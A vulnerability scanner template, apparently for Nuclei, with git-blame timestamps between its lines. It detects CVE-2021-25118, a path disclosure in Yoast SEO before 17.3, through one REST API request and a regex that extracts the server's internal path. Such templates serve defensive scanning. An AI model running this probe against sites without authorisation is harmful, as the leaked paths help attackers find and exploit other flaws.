2022-04-30 20:40:38 +00:00
id : CVE-2021-25118
info :
2022-05-13 20:26:43 +00:00
name : Yoast SEO < 17.3 - Path Disclosure
2022-04-30 20:40:38 +00:00
author : DhiyaneshDK
2022-04-30 20:57:29 +00:00
severity : medium
2022-04-30 20:40:38 +00:00
description : The plugin discloses the full internal path of featured images in posts via the wp/v2/posts REST endpoints which could help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.
reference :
- https://wpscan.com/vulnerability/2c3f9038-632d-40ef-a099-6ea202efb550
2022-04-30 20:50:08 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-25118
2022-05-17 09:18:12 +00:00
- https://plugins.trac.wordpress.org/changeset/2608691
remediation : Fixed in version 17.3
2022-04-30 20:57:29 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
2022-05-17 09:18:12 +00:00
cvss-score : 5.3
2022-04-30 20:57:29 +00:00
cve-id : CVE-2021-25118
cwe-id : CWE-200
2022-08-27 04:41:18 +00:00
tags : wpscan,wordpress,cve2021,wp-plugin,fpd,cve,wp
2022-04-30 20:40:38 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/wp-json/wp/v2/posts?per_page=1"
2022-04-30 20:50:08 +00:00
2022-04-30 20:40:38 +00:00
matchers-condition : and
matchers :
2022-04-30 20:50:08 +00:00
- type : regex
regex :
- '"path":"(.*)/wp-content\\(.*)","size'
2022-04-30 20:40:38 +00:00
- type : word
2022-04-30 20:50:08 +00:00
part : header
2022-04-30 20:40:38 +00:00
words :
- "application/json"
2022-04-30 20:50:08 +00:00
- type : status
status :
- 200
extractors :
- type : regex
2022-04-30 20:40:38 +00:00
part : body
2022-04-30 20:50:08 +00:00
group : 1
regex :
- '"path":"(.*)/wp-content\\(.*)","size'